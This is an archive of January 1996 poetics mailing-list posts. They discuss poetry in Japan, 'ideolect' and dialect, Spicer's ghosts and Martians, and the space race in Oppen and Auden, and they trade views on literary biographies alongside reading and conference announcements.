> *If someone does charge us of being elitist, perhaps we could offer to show them some of the language games frequently used by "difficult" poets, and more will be either clear or obfuscated in a useful way.*
>
> *Best, Jeff*

Yeah! Anybody see the Saturday New York Times? An article on poetry in Japan, the tv shows there about poetry, the front-page newspaper columns about poetry? "Millions of Japanese regularly write poetry--by various counts 5 million to more than 10 million, out of a population of 125 million--and untold millions more savor the poetry of others." Maybe our ambition needs to be revised.

Anybody on the list from/in Japan who can speak to this figure of four to eight percent of the population writing poetry? And then, on the relative elitisms in poetry there--that is, do "serious" poets--whatever those are--watch poetry shows? Read the poetry columns? Or is the distinction between "serious" and "other" configured as something more like "accomplished" and "novice"?

Carry me home,
Jordan

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246. Romana Christina Huk
International poetry conference/festival
Mon 22 Jan 1996

Another invitation to all POETICS subscribers (& interested friends):

ASSEMBLING ALTERNATIVES: AN INTERNATIONAL POETRY CONFERENCE/FESTIVAL is scheduled for 29 August - 2 September, 1996 at the New England Center, University of New Hampshire, U.S.A. These three and one-half days of discussions and four nights of readings/performances open to the community wil focus on relationships & differences between "experimental" (for lack of a better word) poetries in the U.S., U.K., Canada and Ireland. Poets and readers from other countries are also invited to join us to talk about new directions in these poetries and ways/problems of reading across cultures. More than forty poets from the four named nations will read and perform for the conference gathering and community; they range from the

most well-known (such as Charles Bernstein, Nicole Brossard, Tom Raworth, Denise Riley, Steve McCaffery, Rae Armantrout, Maggie O'Sullivan, Allen Fisher, Karen MacCormack, Maurice Scully, Joan Retallack, Paul Muldoon, Sean O'Luigin, Jeff Derksen, Marjorie Welish, Ken Edwards, cris cheek, Wendy Mulford, Lyn Hejinian and many others whose plans are still coming to form) to the most new-on-the-scene(s). Readers as celebrated and helpful as Marjorie Perloff, Peter Quartermain, Clair Wills, Peter Middleton, Charles Altieri and a host --too many to name -- of others will be giving papers and leading discussions, as will many of the poets as well. Paper-deliverers at this point are coming from as far away as Taiwan and Tasmania; much is still in flux and spaces are still open for talks, so do please contact me if you would like more current information (full schedules of plenary sessions and readings will be ready in the spring). Deadline for abstracts have been extended to March 1996.

Romana Huk, Dept. of English, University of New Hampshire, Durham, NH 03824, U.S.A.; Tel.: [redacted]; FAX: [redacted]; [redacted]

(Please send snail-mail addresses for mailing of information.)

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247. Michael Boughn
Re: Ghosts vs. Martians
Mon 22 Jan 1996

When talking of ghosts in relation to Spicer, one should never forget the bull-goose ghost, i.e. the Holy Ghost.

Reverentially,

Mike
[redacted]

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248. Mark Roberts
AWOL: Sydney Writing events on Aust. Day
Mon 22 Jan 1996

The following message has been posted by Australian Writing Online for Ariel Bookstore, Vintage & artspace. Enquiries about the title or service listed below should be directed to organisers at the contacts listed.

****

A Literary night out on Australia Day

Book Launch

Blur stories by young Australian writers, edited by James Bradley
published by Vintage
to be launched by Linda Javin at Ariel Bookstore 42 Oxford Street
Paddington NSW 2021
Friday 26 January 1996 6pm
RSVP to Jenny Evans on 02 99549966

Performance Reading

January 26, 7.30 to 9 pm
artspace, 43-51 Cowper Wharf, Woolloomooloo. Details ph 02 [redacted], fax 02 3681705

Featuring Anna Couani
Ruark Lewis
Chris Mann
pi0
Alexandra Pitsis
Amanda Stewart
Ania Walwicz

Tickets $10. Phone bookings on 02 3681899 or on door.

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249. FUNKHOUSER CHRISTOPH

The Big 1 (fwd)

Mon 22 Jan 1996

Wanted to be sure this info was going out to all--

sounds like fun to me!

> *Subject: The Big 1*
>
> *Mad Alex Presents at Biblio's:*
>
> *THE BIG ONE*
>
> *"I'm all ears for Bob."*
> *Prof. Steve Cannon*
>
> *2 Hours Straight From Bob Holman's Mouth*

> *Bob will read new work. He will read old work. He will read middle-aged work. Work, work work! That's all he seems to do. Now he's got two new jobs, besides his full-time job of being a poet: working for the new Spoken Word record label, MOUTH ALMIGHTY, and creating the poetry page for a new Internet server, iGUIDE. This reading takes place a week before his series, The United States of Poetry, premieres on PBS (Channel 13, Feb. 1, 8, 15, 22, 29, 10:30). There will be intermittent discussion, no rambling (psyche!), and selections from his new book, The Collect Call of the Wild (Henry Holt). Tea, coffee, etc. Nutritional verbal outpourings. Bob will honor audience requests. Ask for your favorites, or demand something you've never heard before. This is your chance to be alone with Bob and everybody else.*
>
> *Biblio's*
> *Writer's Retrospective Series*
> *Thursday, January 25 6:30-8:30 Five Bucks*
> *317 Church (one block S. of Canal, between Lispenard & Walker)*
> [redacted]

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250. **Edward Foster**

Re: Primary Trouble

Mon 22 Jan 1996

---

phone calls just now remind me to apologize for typographical errors in previous note and remind me that it would be good to emphasize this from leonard's introduction: "Any poetry also creates a history, a history that so nearly vanishes at a certain point into its contemporaneous edge that a special effort must be made to illuminate what has happened, as it is happening. When we speak of _Primary Trouble: An Anthology of Contemporary American Poetry_, it is to construct, from a fresh perspective, a formulation of poetic process as it has been explored by several generations of contemporary American poets. . . . _Primary Trouble_ proposes to provide an alternate focus, a necessary rethinking, of how our poetry works."

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251. Kathryne Lindberg
new book
Mon 22 Jan 1996

I just received the advance copy of a book I edited, AMERICA'S MODERNISMS: REVALUING THE CANON (Essays in Honor of Joseph N. Riddel), Louisiana State University Press, 1996. ISBN 0-8071-2018-9 It is quite expensive, so get your local or university library to order it. My introduction marks what I see as perhaps my last effort in the high deconstructive mode of hard-boiled puns and philosophical gestures. Essays on 19th and 20th century literature and philosophy as well as a memorial minute by Jacques Derrida and Joe Riddel's last essay might interest you all; but this is not strictly poetic or poetics. Essays by Charles Altieri, Mark Bauerlein, Michael Beehler, Paul Bove, Edgar Dryden, John Johnston, Margot Norris, John Carlos Rowe, and Henry Sussman and an Afterword by co-editor Joseph Kronick make up the contents. It is an attractive book, and, while I now am circling back to wilder things, I suggest you take a look. Your library needs this one, and my next feels easier with the encouragement of seeing this FINALLY. Fuck academic presses: I finished all the work on this book nearly three years ago.

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252. Maria Damon
Re: Postmodern American Poetry: the Norton Anthology
Mon 22 Jan 1996

yo, ed foster, in response to the following, please keep me apprised:

dear maria d: yes, we're definitely hoping for a boston reading/publication psa
rty soon, but i don't have an exacvt date.

---thanks, dude, maria d

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253. Kathryne Lindberg
Re: Postmodern American Poetry: the Norton Anthology
Mon 22 Jan 1996

By the way, it might give you all pleasure--or at least a bit of a smile?--to know that THE NORTON ANTHOLOGY OF AFRICAN AMERICAN LITERATURE will include, among its necessarily selected selections, something of Bob Kaufman and Ted Joans. Since their work has recently, however variously and differently, made me re-read things in a new way, I am happy to know this. Who knows when this anthology will come out. I am sure it will bug some folks

BIG TIME for reasons we will know in the fullness of time and the emptiness of anthologizing futures.

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254. Charles Bernstein
ideolect
Mon 22 Jan 1996

In "The Poetics of the Americas" I use the word 'ideolect' to suggest a constructed, ideological self-conscious poetic language practice. That essay, which A.L. Neilsen is including in "An Area of Act": Race and Readings in American Poetry (forthcoming, University of Illinois Press) (I _should_ be doing the revisions on that now rather than _this_!, any day, A.L.!) discusses formal and social affinities between dialect and ideolect poetry. I particularly emphasize the shared resistance to standard English among dialect and ideolect poets. One way or another I have been working on this theme since the late 1980s and have given several graduate seminars at UB on the issues (as you can see if you check out my course syllabussssssssssssses @ writing.upenn.edu/epc). The titles for those seminars have involved plays on dialect/dialogue/ideology/ideolect/idiolect/dialogic/dialectic ... I use ideolect in order to socialize the idiolectical and indeed the idiosyncratic but also because the poetry I am writing about is not an idiolect. The root contrasts, ideo/idea vs idio/I-own, are the sort of mutually cancelling, not to say paradoxical, distinctions that are at the heart the essay (self/nation, individual/group, word/phrase). In this context, I read dialect as constructed fully as much as ideolect. Susan Schultz refers to a version of my "argument" in her essay in _A Poetics of Criticism_. So, Maria, my use of the term _ideolect_ is not idiosyncratic, though possibly neologistic; surely ideological.

**

Here's a brief excerpt from "Poetics of the Americas":

In the poetry of the past two decades, I think we have moved away from the choice of subjective, objective, or even constructive and toward a synthesizing or juxtaposing these approaches. Here the influence of the dialect poetries of the modernist period gives way to a dialectical poetry that refuses allegiance to Standard English without necessarily basing its claim on an affiliation with a definable group's speaking practice. The norm enforces a conduct of representation that precludes poetry as an active agent to further thought, unbound to the restrictions of rationalized ordering systems. Poetry can be a process of thinking rather than a report of things already settled; an investigation of figuration rather than a picture of something figured out. Such

ideologically informed nonstandard language practice I call _ideolectical_. ... The invention of an ideolectical English language poetry, as a poetry of the Americas, involves the replacement of the national and geographically centered category of English (or Spanish) poetry not with the equally essentialist category of American poetry but with a field of potentialities, a virtual America that we approach but never possess. English languages, set adrift from the sight/sound sensorium of the concrete experiences of the English people, are at their hearts uprooted and translated: nomadic in origin, absolutely particular in practice. Invention in this context is not a matter of choice: it is as necessary as the ground we walk on. The impossible poetics of the Americas of which I speak has, in the U.S., a history of breaks from the received literary language of England. The vernacular was a crucial factor in many of those breaks, particularly as explored by such African-Americans poets as Paul Laurence Dunbar, Langston Hughes, Sterling Brown, J. W. Johnson, and Melvin Tolson. At the same time, the American language was being transformed by the "bad" or "broken" English of the European immigrants from the 1880s through the early years of the new century: "new" syntaxes, new expressions came along with the new world. Here it is significant that Williams, Gertrude Stein, Louis Zukofsky and other makers of a new American poetry were themselves second-language speakers of English, while others were children of second-language speakers, as Peter Quartermain notes in Disjunctive Poetics. So for these children of immigrants, English became less transparent, more a medium subject to reforming. Correlatively, on the other side of the Atlantic, the explorations of dialect traditions by Basil Bunting and Hugh MacDiarmid and in the Caribbean by Claude McKay and more recently by Linton Kwesi Johnson, Louise Bennett, Michael Smith, or Kamau Brathwaite (who rejects the term dialect, preferring "nation language"), become a source of shared language resources among English language poetries. I realize that my emphasis on nonstandard language practices makes for unexpected affiliations. Tony Crowley, in _Standard English and the Politics of Language_, points to two senses of "standard". A standard is a rallying point for the forward movement of an ideology or group, by means of which a unity is invoked, as for example a flag in battle. But a standard is also an objective unit of measure and regulator of uniformity, and as such a product of normalization and averaging. Standard American English involves both these senses: it is a sociohistorical construction, embedding class, ethnic, and racial preferences, that serves to build national unity; and it is also a regulator of language practices, serving to curb deviance. Under the aegis of standardization, problems of social coherence are displaced onto questions of linguistic correctness. ..... As our literary history is usually told, the nonstandard language practices of the radical modernists, and their descendants, are not linked to the dialect and vernacular practices of African-American poets. But the construction of a vernacular poetry was a

major project for many poets, black and white, during the modernist period, and the fact that these developments often took place without reference to each other -- the fact of the color line -- should not now obscure their intimate formal and sociohistorical connection. Stein's breakthrough into the ideolectical practice of Tender Buttons, for example, was prepared by her problematic improvisations on African-American vernacular in "Melanctha". A generation later, both Melvin Tolson and Louis Zukofsky used complex literary framing devices as a means of working with, and against ~ I'd say torquing ~ vernacular linguistic materials. By linking dialect and ideolect I wish to emphasize the common ground of linguistic exploration, the invention of new syntaxes as akin to the invention of new Americas, or possibilities for America. In Brathwaite's account, however, dialect is better called "nation language" and if that is the case it would seem to run counter to ideolect, whose nations may be described, in Robin Blaser's phrase, as image nations, imaginary, ideological; dialectical in that other sense. I don't wish to relieve this tension so much as to try to locate it as pivotal to our literary history and contemporary poetics. I am convinced, however, that nonstandard writing practices share a technical commonality that overrides the necessary differences in interpretation and motivation, and this commonality may be the vortical prosodic force that gives us footing with one another. .....

--Charles Bernstein

↑ Index

255. Chris Stroffolino

Re: new book

Mon 22 Jan 1996

Dear Kathryne Lindberg--- I'm curious what your next direction is after "hard-boiled puns and philosophic gestures" in the RIDDEL book. Would you be interested in telling us more of these "wilder things"? Or must we wait? Chris Stroffolino

↑ Index

256. kathryne lindberg

Re: new book

Mon 22 Jan 1996

Wilder things=a sort of recourse to the old reading list I knew and grew with in the 60's. That is, it seems to me that when we were reading Fanon, Kafka, Sartre, Camus, watching "Battle of Algiers," thinking through filmic and essayistic "Black Orpheus," etc. the 60's were more expansively global than I remember. I was really too young to be anything but a very precious and

precocious pretender, landlubber, etc., but, growing up in San Francisco in the 60's, with the treble pleasures of dope, sex, and rock 'n roll, patroniz ing the same CHINA BOOKS from which the Panthers bought the Little Red Books of Mao from which they turned a profit, I learned even more than hip books taught.

Pound once made loads of what was "in the air"; and I won't go into the fug that he channeled from the air into his politics, but there were things in the air--more important things than today's revisionary categorizing of race, gender, class?--that might be worth breathing again. Oh, for those days when metaphors like Emerson's God could be faced directly? This is scattered, but what I mean is that certain resistance movements in Eastern Europe and, for my money, in Africa and South East Asia were more alive in the intellectual life of the 60's than one remembers--especially in the Caribbean and France (including African American ex-pats) continuous from at least the 40's. There's wild stuff, along the lines that Charles was just suggesting, when one reads say exilic (rather than immigrant) Americans in such a way as to include hard Left and African Americans.

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257. Jackson Mac Low

Mac Low & Benson reading/collab @ New Langton Arts Thurs 1/26/96 8pm

Tue 23 Jan 1996

To all Poetics List people in the Bay area:

Steve Benson & I will do a reading each & 2 collaborative performances @ New Langton Arts on Folsom St SF on Thurs 1/26/96 @ 8 pm.

1st Steve will do a solo rdg;then we'll do a spontaneous collaboration (working partly from parts of texts; then recess; then I'll do a solo reding, then we'll do a second collaboration, amen.

Hope to see some of you-all,

Jackson Mac Low

↑ Index

258. Chris Stroffolino

Re: new book

Tue 23 Jan 1996

Dear K-- Your wilder project sounds wonderful, and even though I was only 7 with an imposed crew cut at "honor america day" 7-4-70, I remember the yippies naked in the reflecting pound chanting "bob hope smokes dope" and

am definitely skeptical of academic "radicalism" that is more like "careerism" and/or "paying dues"--and am wondering how we could go beyond this, and would be glad to offer any small hope I mean help I can. For what you are doing doesn't seem like safe little 60's retro stuff, or mere pop culture stuff...I'm looking forward to any possible existential refigurations you seem to be moving towards. How take it to the streets? And yes STREETS not just "information highways"--or at least supermarket aisles.... Thanks (well back to my dues paying poststructuralist diss.---hopefully I can bend the form a bit so theres something REAL in it though...) chris s.

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259. **Thomas Bell**

Re: new book

Tue 23 Jan 1996

On Mon, 22 Jan 1996, kathryne lindberg wrote:

> *Wilder things.....*
> *there were things in the air....*
> *breathing again....*
> *in Eastern Europe and, for my money, in Africa and South East Asia*
> *were more alive...*

Is this not true in general?

↑ Index

260. **Larry Price**

Ghosts & Martians

Tue 23 Jan 1996

What I would say is that the Martians are what we SEE in the mirror. The ghosts are what pass through. As to say: the Wall of Truth has only one side (not this one). So that in Spicer (and recalling the parallel Ed Foster felt existed with Mallarme) poetry is in fact a function with a lower limit of writeability and upper limit, death. I don't necessarily think that, but it strikes me that for Spicer it was true.

lp

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261. John Geraets
Re: elitism
Tue 23 Jan 1996

Jordon

> *Anybody on the list from/in Japan who can speak to this figure of four to eight percent of the population writing poetry? And then, on the relative elitisms in poetry there--that is, do "serious" poets--whatever those are--watch poetry shows? Read the poetry columns? Or is the distinction between "serious" and "other" configured as something more like "accomplished" and "novice"?*

I'm in Japan but that statistic makes little
sense to me. What does writing poetry mean--
culturally determined, I suspect. No solace
there...

Don't know, Akitoshi Nagahata, if you're around
maybe you could comment more helpfully.

best, John Geraets

↑ Index

262. Steven Howard Shoemaker
primo bio
Tue 23 Jan 1996

Recent refs to the Spicer-in-da-woiks have made me wonder: are there any really good bios of potes out there now? I haven't had much luck finding them myself. Just started the new Rilke "life" & can't seem to put much confidence in its assessments so far. Pretty early on a fairly normal letter from 8-year-old Rene to his dad gets tagged in bio-talk as sounding "a falsetto of repressed hysteria." And there are some really bizarre and slippery tonalities throughout the little bit i've read.

Has anyone read Lou Andreas-Salome's book on R.?

thanks,
steve

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263. Charles Alexander
Re: new book
Tue 23 Jan 1996

> *Fuck academic presses:*
> *I finished all the work on this book nearly three years ago.*

While I think there are plenty of reasons to "fuck academic presses," I know that the only presses who do much better than this, time-wise, are the BIG commercial presses, and the smallest micro/desktop-publish presses. And while I bless the latter, I have a variety of problems with the former. Still, Kathryne, it's good to hear about your book, and I look forward to seeing it.

charles

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264. Steven Howard Shoemaker
boys in space
Tue 23 Jan 1996

OK, following the Auden poem on the space race i can't resist bringing this in. I've always been in intrigued by a strange, little moment in Oppen's notebook-writing where, w/ some embarassment, he confesses to himself the following:

among the things I don't want to say --out of old friendship-- is this: if we did NOT undertake the "Space Program" we would cease to be anything we have meant by "human" ((all the women I can remember speaking of of the space program have been opposed to it--Secretly, at these moments, I regard these women as sub human------I do, I do....

Any comments?

steve

↑ Index

265. Steven Howard Shoemaker
boys in space
Tue 23 Jan 1996

Mebbe i shld follow up on my previous message by quoting the message that directly preceded/instigated it:

"It's natural the Boys should whoop it up for/ So huge a phallic triumph, an adventure/ it would not have occured to women/ to think worthwhile, made possible only/ because we like huddling in gangs and knowing/ the exact time: yes, our sex may in fairness/ Hurrah the deed, although the motives/ That primed it were somewhat less than menschilch"

I think that's right.

Dodie/Kevin: when will the Spicer bio be available to the public?

[redacted]

I guess what i was struck by is that even tho' Auden is poking fun at the Boys he & Oppen both seem to take it for granted that the space is race is a boy thing ("it would not have occured to women")

steve

↑ Index

266. Aldon L. Nielsen
Re: the ways of what folks
Tue 23 Jan 1996

---

an aside on recent discussion of neologism "ideolect" --

The one thing our questionable outside reader never questioned was Charles's use of the spelling "ideolect" -- Sort of takes all the fun out of a neologism, doesn't it?

By the way, Kathryn also has an essay in this forthcoming book which may well take as long top come forth as her JR anthology, but surely not as long as the Norton Afro-American collection, which I first heard was almost ready almost 11 years ago --

"to" come forth -- "top" come forth -- neoconjugation?

ALSO just received Juliana Spahr's surprise _Witness_ in the mail -- a wonderful treat, best deposition of the day!

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267. Kevin Killian
Re: Ghosts & Martians
Tue 23 Jan 1996

At 8:37 AM 1/23/96, Larry Price wrote:

> *What I would say is that the Martians are what we SEE in the mirror. The ghosts are what pass through. As to say: the Wall of Truth has only one side (not this one). So that in Spicer (and recalling the parallel Ed Foster felt existed with Mallarme) poetry is in fact a function with a lower limit of writeability and upper limit, death. I don't necessarily think that, but it strikes me that for Spicer it was true.*

It's good to see you extending this discussion of ghosts and Martians beyond cultural sources, Larry. While those kinds of tracings are certainly interesting, I think when you're dealing with someone like Spicer who speaks of dictation--or anyone who's poetry is really Alive--things get much messier, can't be broken down into "ghost equals blah blah." I would imagine that when Spicer spoke of "ghosts" in terms of explaining his poetry they were far different "ghosts" than those who actually manifested themselves in his poetry.

Dodie Bellamy

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268. Mark Roberts
AWOL: Even more to do on Australia Day!!
Tue 23 Jan 1996

The following message has been posted by Australian Writing Online for Ulitarra magazine and Gleebooks. Enquiries about the title or service listed below should be directed to Gleebooks at the contact listed.

****

The evenning of the 26 January is shaping up to be one of the busiest literary night in Sydney for some time

Ulitarra No 8 and J S Harry's Selected Poems (Penguin) will be launched by Michael Wilding at Gleebooks 49 Glebe Point Road, Glebe Ph 02 6602333 at 6.30 pm on Friday January 26.

Readers will include Michael Wilding, J S Harry, Luke Davies, Anna Marie Dell'oso (from her recent book "The Accordion Man"), Anna Voigt and Soumyer Hukherjee with translations from Bengali literature.

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269. Maria Damon
Re: ideolect
Tue 23 Jan 1996

---

thanks for the clarification, charles --md

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270. Susan Schultz
Re: ideolects, Hawaii, and being mistaken
Tue 23 Jan 1996

Mark--I have no quarrel with your positioning of idi(e)olect and dialect; I agree that "lects" are often used strategically rather than "naturally." I once asked

Lois-Ann Yamanaka, who had delivered a talk in Michigan about the use of pidgin in her work, why she hadn't given the talk in pidgin. She said she would have done so only if she were angry. Thus, in her use of language, pidgin and standard English are both markers of "place"; you're an insider or an outsider depending on what language you speak (or confront). Other pidgin writers are less angry, but their sense of community is founded on language. These writers are often criticized for writing almost exclusively about their childhoods. Yet campaigns against the use of pidgin, particularly in school and in business, have meant that pidgin is the language of childhood; the writer doesn't choose the language so much as have it chosen for him or her by various institutions. (I think this is changing, in large part because of literature written in pidgin over the last 20 years or so.)

The origins of pidgin aren't any more "natural" than those of an idiolect, but I wonder if there are any creole speakers of idiolects? Do they get handed down and hence "naturalized"?

Thanks Charles for your post.

Susan

↑ Index

271. Thomas Bell
idio ideo
Wed 24 Jan 1996

Idio vs. ideo

It occurs to me that this is an issue better decided by association than etymology.

For me, idio leads to idiothetic
(as opposed to nomothetic - as a psychologist I associate here the distinction between individual - and less "scientific"? - and group tests, data, etc.).
idiopathic
idiosyncratic
idiotic

ideo leads to
ideology
ideal
idea

Then does idiolect refer to individual or one person or group and ideolect refer to lofty or elevated content-oriented discourse?

This is my impression on seeing them here.

Tom Bell

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272. Maria Damon

Re: boys in space

Wed 24 Jan 1996

---

steve, fascinating stuff from oppen, and refreshingly frank, since in my experience the shallowest surface-scratching tends to reveal this conviction in most androids --who nonetheless wd never admit it even to themselves. sorry for this cynicism, i wish it were otherwise. i think we're collectively onto something as regards martians and homosociality, jack spicer and co. etc. i just wrote a brief piece on the angel fad, and how i think it's related to the metaphysical anxieties of postmodernity: reproduction, mortality, sexuality --the dilemmas of having a body in this current condition... bests, maria d

↑ Index

273. Pierre Joris

Re: primo bio

Wed 24 Jan 1996

Two recent poets/writers bios I've found good to excellent (& most refreshing after the Clark/Olson disaster & the Gooch/O'Hara cocktail chatter) are the recent Polizzotti book on Andre Breton (Revolution of the Mind) & Edmund White's bio of Jean Genet (which is superb indeed).

Pierre

On Tue, 23 Jan 1996, Steven Howard Shoemaker wrote:

> *Recent refs to the Spicer-in-da-woiks have made me wonder: are there any really good bios of potes out there now? I haven't had much luck finding them myself.*
>
> *thanks,*
> *steve*

↑ Index

274. Burt Kimmelman
Re: primo bio
Wed 24 Jan 1996

pierre,

forgive my ignorance. could you, briefly, if you have a moment to spare, say something about how the clark bio of olson is a disaster?

backchannel is okay with me unless others are into this.

burt

[redacted]

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275. Mark Wallace
ideolects shaking hands with dialects
Wed 24 Jan 1996

On the subject of where ideolects meet with dialects, I'm noting recently a number of poets who are consciously COMBINING the two possibilities in interesting ways. Writers like Edwin Torres, Barry Masuda (who Susan Schultz can say more about) Rodrigo Toscano, Bob Harrison are both writing out of a position of cultural difference with greater or lesser interventions of dialect, while at the same time working in a post-language, disruptive syntax. Precursors seem to be to me writers like Stephen Jonas, Melvin Tolson and perhaps Lorenzo Thomas. Actually, I think there's probably more of this kind of poetic activity going on than I'm currently aware of--I just received a letter from a writer I don't know by the name of Hung T. Qu (who gives Vietnam and Southern California as two of a number of places of residence) who hints at some of these same issues. I'd be interested if there's anyone out there who could point me in the direction of more writers working at this extremely interesting interstice.

mark wallace

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276. Jordan Davis
topo gigio
Wed 24 Jan 1996

Into!

(Btw is Gooch's book really cocktail chatter--generic putdown of NYS writing--or do you mean that its relentless presentation of the _mise en scene_ of O'Hara's

poetry trivializes the play, the brutality, the clarity of that poetry? Not to mention the embarrassing suggestion that O'Hara was actually a suicide victim ((btbtw anybody hear anything about this KGB/Checka report that Mayakovsky and Esenin were murdered? or is that old news)). But then aren't first biographies usually flawed? True there have been studies of the work by people on this list, but you have to give Gooch his props for getting a book on FOH carried by Book of the Month Club.)

Tell on!
Jordan

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277. Kevin Killian
Boys in space
Wed 24 Jan 1996

Hi, it's Kevin Killian. Let me give me 2 cents about the differences I see between Oppen and Spicer and their use of space travel in their work. In December I gave a lecture at SF State about Oppen, which turned on GO's use of an epigraph from Heinlein in one of his books. The Oppens I guess were very taken by Heinlein-partly, I suppose, since s/f books were among the few unproscribed by the Party during their Mexican exile in the 50s, they were books which could be read with impunity, if we can believe Mary Oppen's memoir, "Meaning a Life." Spicer's s/f interests were very different, colored by his own personal terror of "outer space." He was as opposed to the space race as the women of Oppen's acquaintance: "I can't stand to see them shimmering in the impossible music of the Star Spangled Banner [....] The poetry/ Of the absurd comes through San Francisco television. Directly connected with moon rockets./ If this is dictation, it is driving/ Me wild." Whether this poem (Ten Poems for Downbeat #5, "for Huntz") refers to the space program or to the concurrent WNET/Richard Moore series on American poets, there's an ambivalence here that I believe stems back from Spicer's early paranormal experience. When he was very young JS had a vision of a "murder in space." Apparently in a dream (but perhaps actually in what we would now call an experience of, yes, alien abduction[???] where is that Harvard guy who gives credence to these accounts!) Spicer saw someone killed before his eyes by strange Martian space creatures in deep space, hence (?) his later preference for s/f on the darker side of Heinlein (tho' he did like "The Green Hills of Earth")-like his erstwhile roommate Philip K. Dick.

PS, in my Oppen talk I cited the "red globes" of his "Discrete Series" and called attention to the cult of Heinlein among spanking enthusiasts (Heinlein's novels

startle with their hundreds of references to spanking: an obsessive, awkward, almost Bettie Page, frankness). This caused a bit of a stir.

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278. Larry Price
Re: primo bio
Wed 24 Jan 1996

"forgive my ignorance. could you, briefly, if you have a moment to spare, say something about how the clark bio of olson is a disaster?

backchannel is okay with me unless others are into this.

burt"

Pierre:

Frontal exposure, please. Ron Silliman clucked over it recently as well. Since I'm currently going through it for the second time, I'd welcome the explicit caveats.

Larry Price

↑ Index

279. Larry Price
From one California flake about another
Wed 24 Jan 1996

Maria:

First a comment and then some questions.

I've never considered sexuality as one of the dilemmas of having a body. In fact, I've always thought of it as one of the great palpable perqs of having one.

But . . .

How are reproduction, mortality, sexuality "metaphysical" anxieties?

Why is the dilemma of having a body connected with homosociality? Are we saying homosociality is the dilemma? (Reading Spicer now, I can't imagine his ever being in the closet. He seems never to have cared anything about the issue of who knew what.)

And finally: shouldn't we trust Spicer a little more than this? To connect his poetry (however loosely) with Oppen (with his serious inflexibility about most things - for example, read Barry Watten on David Antin's take on Oppen) is at best alarming. It seems likely that for Spicer Martians had nothing to do with spaceships (OR Mars).

lp

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280. Larry Price
Ghosts in my T
Wed 24 Jan 1996

Dodie:

I agree with you. There are ghosts and then there are ghosts. And as you note, the explanatory ghosts have more to do with the HISTORY of the work than with its afterlife. But then let me indulge in a cultural parallel: last a week a small pharmaceutical company (mainly a producer of generics) lost a court case brought against a larger one, the patent holder of AZT. Despite the argument of manifest public good, the patent was upheld (along with the price), so that we will not soon see a generic (and less expensive) AZT.

lp

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281. Kevin Killian
Re: primo bio
Wed 24 Jan 1996

> *Two recent poets/writers bios I've found good to excellent (& most refreshing after the Clark/Olson disaster & the Gooch/O'Hara cocktail chatter) are the recent Polizzotti book on Andre Breton (Revolution of the Mind) & Edmund White's bio of Jean Genet (which is superb indeed).*
>
> *Pierre*

Dear Pierre and all, I have mixed feelings about both the Tom Clark and Brad Gooch books. I read a very good biography of Sarah Orne Jewett a few weeks ago. Also, expect great things of Carolyn Burke's forthcoming life of Mina Loy which she has been working on for, gee, I can't remember how long. Ten or twelve years?

-Kevin Killian

↑ Index

282. **Pierre Joris**
Re: primo bio
Wed 24 Jan 1996

Kurt -- Clark's book is nasty, belittling, invidious -- besides containing a number of errors. The best way to get a sense of that is to read the reviews by Gerrit Lansing and Don Byrd which were published in SULFUR 29 (Fall 1991). There is also, I believe, an issue of the "Minutes of the Charles Olson Society" (edited by ralph Maud from Vancouver) -- though i can't for the life of me lay my hands on that specific issue right now. -- Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

On Wed, 24 Jan 1996, Burt Kimmelman [redacted] wrote:

> *pierre,*
>
> *forgive my ignorance. could you, briefly, if you have a moment to spare, say something about how the clark bio of olson is a disaster?*
>
> *backchannel is okay with me unless others are into this.*
>
> *burt*
>
> [redacted]

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283. **Kevin Killian**
Re: primo bio
Wed 24 Jan 1996

Larry Price/Burt Kimmelman wrote:

> "*forgive my ignorance. could you, briefly, if you have a moment to spare, say something about how the clark bio of olson is a disaster?*
>
> *backchannel is okay with me unless others are into this.*
>
> *burt*"

> *Pierre:*
>
> *Frontal exposure, please. Ron Silliman clucked over it recently as well. Since I'm currently going through it for the second time, I'd welcome the explicit caveats.*
>
> *Larry Price*

You-all might be interested in reading the "Minutes of the Charles Olson Society" (here's the address-1104 Maple Street, Vancouver, BC V6J 3R6, Canada)-which gives through its many issues a page by page listing of every time Tom Clark got something wrong-a fascinating exercise. Clark's account of Olson's visits to Ezra Pound at St. Elizabeth's, for example, make CO seem like a middle-aged man on the make, sucking up to an insane yet influential power broker. Obviously it's a relationship with great reverberations for poetic history, yet Clark makes it a late forties version of the awful Shakespeare plot in "My Own Private Idaho." I think Clark's revelations about Frances Boldereff are truly striking-whatever part she played in CO's thought-his secrecy, almost duplicity, about her, is very strange, and these revelations color the rest of the book. In general I think Clark isn't bad when writing about Olson's early career-there's a LOT of new information in the book. It's the later life that he stumbles on, but who doesn't? But then again the tone of the book is like Joe McGinnis' in "Fatal Vision," as though Clark started out by liking and admiring Olson, but the book reveals a gradual and complete hatred of his subject, and in every instance Olson is placed in an unflattering light, sometimes "unfairly." So it's not the the squeamish.

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284. Rod Smith
Re: topo gigio
Wed 24 Jan 1996

Jordan,

I thought the Gooch bio quite bad, just flip through and read only his citations of the poetry-- he made O'Hara into a boring poet. Another book to be missed is _The Roaring Silence_, bio of Cage by Revill. Neither book gives the context &/of the work together in any useful way.

Dierdre Bair's Beckett & Beauvoir books are both excellent. & Ray Monk's Wittgenstein, excellent. & Jack Chamber's Miles, best music bio I know. Still waiting for someone to write the book on Coltrane, or Duchamp, or. . .

What's the opinion on these Stein bios-- any of them worthwhile? I've been through a few, but none seemed.

--Rod

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285. **Maria Damon**
Re: topo gigio
Wed 24 Jan 1996

---

jordan: without any interest in putting down nyc writing as "cocktail chatter," i must agree that the o'hara bio was a huge compilation of trivial detail that didn't give much real insight into o'h or his poetry. when we learned, for example, that the most important thing about o'hara's u-michigan period was that the seminar-room chairs were green... i mean, what a mis-spenditure of a huge advance. research, all right, but no significant content. lists of who attended various parties are fine if they're being enumerated for some greater purpose, but... it was hard to detect an intellectual raison d'etre for this huge tome. and i'm not even one of those people that objects to sordid details about writers' lives being made public. i had no trouble w/ the comments about f's drinking. it was the superficiality of the whole that was troubling.--md

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286. **Maria Damon**
Re: From one California flake about another
Wed 24 Jan 1996

---

larry price sez:
Maria:

First a comment and then some questions.

I've never considered sexuality as one of the dilemmas of having a body. In fact, I've always thought of it as one of the great palpable perqs of having one.

md to lp: good for you. we cd all learn something from you. having a body means you die sometime, which for many of us is a philosophically and psychologically challenging concept.

lp cont'd: But . . .

How are reproduction, mortality, sexuality "metaphysical" anxieties?

